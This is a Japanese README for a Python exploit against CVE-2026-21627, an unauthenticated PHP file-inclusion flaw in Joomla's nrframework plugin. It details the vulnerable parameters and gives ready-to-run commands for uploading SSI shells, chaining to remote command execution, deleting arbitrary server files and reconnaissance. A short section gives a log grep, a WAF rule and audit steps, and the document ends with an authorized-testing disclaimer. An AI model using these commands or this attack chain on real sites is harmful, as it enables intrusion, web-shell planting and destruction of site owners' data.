
Pythonエクスプロイト for CVE-2026-21627。JoomlaのNovarain Frameworkにおける未認証の任意PHPファイルインクルードを悪用し、ファイルのアップロード、削除、およびRCEを可能にします。
| CVE ID | CVE-2026-21627 |
| CVSSスコア | 9.5(Critical) |
| プラグイン | plg_system_nrframework(Tassos Framework / Novarain Framework) |
| 影響を受けるバージョン | 4.10.14から6.0.37 |
| 修正バージョン | 6.0.38以降 |
| CMS | Joomla 3.x、4.x、5.x |
nrframeworkプラグインは、Tassos.grのConvert Forms、Engage Box、Google Structured Dataなど、いくつかの人気のあるJoomla拡張機能にバンドルされています。
nrframework.phpのajaxTaskInclude()メソッドは、$non_admin_tasks配列を介してフロントエンド(非管理者)アクセス用に明示的にホワイトリスト登録されています。このメソッドは、ユーザーが制御できる3つのパラメータを受け入れます:
path — RAW入力フィルタを使用(サニタイズなし、パストラバーサル可能)file — デフォルトのJoomla入力フィルタを使用class — インクルード後にインスタンス化するクラス名連結されたパス$path . $file . '.php'は@include_onceに直接渡され、任意のPHPファイルのインクルードが可能になります。インクルード後、指定されたクラスがインスタンス化され、そのonAJAX()メソッドがユーザーが制御するパラメータで呼び出されます。
| プリミティブ | ガジェット | 深刻度 | 説明 |
|---|---|---|---|
| ファイルインクルード | ajaxTaskInclude() | Critical | サーバー上の任意の.phpファイルをインクルード |
| ファイル削除 | JFormFieldNRInlineFileUpload::onRemove() | Critical | パス検証なしのunlink() — Webサーバーが書き込み可能な任意のファイルを削除 |
| ファイルアップロード | JFormFieldNRInlineFileUpload::onUpload() | High | 書き込み可能なWebアクセス可能な任意のディレクトリにテキストファイルをアップロード |
| パス情報漏えい | アップロード応答 | Medium | JSONレスポンスで完全なファイルシステムパスが漏えい |
python3 cve_2026_21627.py --target <URL> --mode <MODE> [OPTIONS]
| モード | 説明 | リスク |
|---|---|---|
verify | 脆弱性の存在を確認 | 安全 / 読み取り専用 |
upload | 制御されたディレクトリにファイルをアップロード | 中 |
delete | サーバー上の任意のファイルを削除 | 破壊的 |
rce | 完全なRCEチェーン(アップロード+実行)を試行 | 高 |
info | 偵察用に任意のPHPファイルをインクルード | 中 |
脆弱性の確認:
python3 cve_2026_21627.py --target https://example.com --mode verify
概念実証ファイルのアップロード:
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type txt
SSIシェルのアップロード(Apache mod_includeが必要):
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
RCEチェーンの試行:
python3 cve_2026_21627.py --target https://example.com --mode rce --cmd "id"
ファイルの削除(破壊的):
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
--target, -t ターゲットURL(必須)
--mode, -m エクスプロイトモード: verify|upload|delete|rce|info(必須)
--sef-prefix Joomla SEF URLプレフィックス(デフォルト: /it/)
--delay リクエスト間の遅延(秒)(デフォルト: 2.5)
--proxy HTTPプロキシ(例: http://127.0.0.1:8080)
--no-ssl-verify SSL証明書の検証を無効化
アップロードモード:
--shell-type ファイルタイプ: shtml|csv|txt|html(デフォルト: shtml)
--upload-dir JPATH_ROOTからの相対アップロードディレクトリ(デフォルト: images)
--custom-content アップロードするカスタムファイルコンテンツ
削除モード:
--file-path 削除するファイルの完全なサーバーパス
RCEモード:
--cmd 実行するコマンド(デフォルト: id)
情報モード:
--php-path JPATH_SITEからの相対PHPファイルパス
--php-file .php拡張子なしのPHPファイル名
--php-class インスタンス化するPHPクラス
┌──────────────┐ ┌───────────────────┐ ┌─────────────────────┐
│ 攻撃者 │───>│ onAjaxNrframework │───>│ ajaxTaskInclude() │
│ │ │ (AJAXルーター) │ │ │
│ task=include │ │ includeは │ │ path = RAW入力 │
│ path=... │ │ $non_admin_tasks │ │ @include_once $path │
│ file=... │ │ (認証不要) │ │ new $class()->onAJAX│
│ class=... │ └───────────────────┘ └──────────┬──────────┘
└──────────────┘ │
v
┌─────────────────────────────────────┐
│ JFormFieldNRInlineFileUpload │
│ (ガジェットクラス) │
│ │
│ onAjax() ──> onUpload() [書き込み] │
│ ──> onRemove() [削除] │
└─────────────────────────────────────┘
includeタスクが、ガジェットファイルを指す制御されたpath(RAWフィルタ = サニタイズなし)で呼び出されます。JFormFieldNRInlineFileUploadクラスは、ファイル書き込み用のonUpload()とファイル削除用のonRemove()を提供しますが、どちらも入力検証が不十分です。requestsライブラリpip install requests
アクセスログでエクスプロイト試行を監視します:
# Apache/Nginxログパターン
grep -E "option=com_ajax.*plugin=nrframework.*task=include" access.log
WAFルール — 以下に一致するリクエストをブロック:
option=com_ajax.*plugin=nrframework.*task=include.*path=
侵害後の監査:
images/およびその他の書き込み可能なディレクトリに予期しないファイルがないか確認configuration.phpと.htaccessの整合性を検証@include_once警告がないかサーバーエラーログを確認ajaxTaskInclude()を完全に削除し、厳格なハンドラレジストリ(AjaxHandlerRegistry)に置き換えます| 日付 | イベント |
|---|---|
| 2026-02 | 許可されたペネトレーションテスト中に脆弱性を発見 |
| 2026-02 | エクスプロイトを作成 |
| 2026-02 | 公開開示 |
このツールは許可されたセキュリティテストおよび教育目的のみで提供されています。明示的な書面による許可を得たシステムに対してのみこのエクスプロイトを使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。
Yallasec — yallasec.com
Arcangelo Saracino — @arkango